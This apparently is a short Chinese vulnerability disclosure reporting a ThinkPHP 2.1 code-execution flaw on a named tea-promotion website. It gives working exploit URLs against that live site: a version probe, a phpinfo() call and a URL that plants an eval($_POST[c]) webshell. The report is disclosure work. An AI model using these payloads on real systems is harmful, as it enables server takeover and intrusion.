这个站使用的是ThinkPHP 2.1，存在代码执行漏洞，直接getshell
详细说明：就是康师傅红茶、绿茶以及其他各种茶瓶身上的那个活动
康师傅 - 玩转台湾 10000人大搜茶

http://www.ksftea.com/

系统使用ThinkPHP 2.1,<-ThinkPHP framework 任意代码执行漏洞预警->

http://zone.wooyun.org/content/44
查看版本：

http://www.ksftea.com/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

执行phpinfo()：
http://www.ksftea.com/index.php/module/action/param1/%7B$%7Bphpinfo()%7D%7D

可以构造shell地址:

http://www.ksftea.com/index.php/module/action/param1/$%7B@print(eval($_POST[c]))%7D
www文件夹，好几个站

命令执行：

修复方案：

更新版本或者其他--！